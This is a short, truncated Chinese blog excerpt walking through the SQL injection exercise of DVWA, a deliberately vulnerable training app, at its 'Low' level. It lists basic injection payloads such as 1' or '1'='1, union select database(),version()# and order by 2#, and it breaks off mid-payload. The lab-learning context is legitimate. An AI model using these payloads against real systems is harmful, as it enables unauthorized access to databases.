dvwa之sqli

Low: 源代碼： 什麼都沒過濾，直接給變量。用了引號應該是字符注入。 1 or 1=1 1 or 1=2 非數字型. 1‘ 1’ or ‘1’=’1 爲字符型。 科普： 1’ union select database(),version 有limit限制。加#將後面的註釋掉 1’ union select database(),version()# 1’ order by 2# 1’ orde

>>阅读原文<<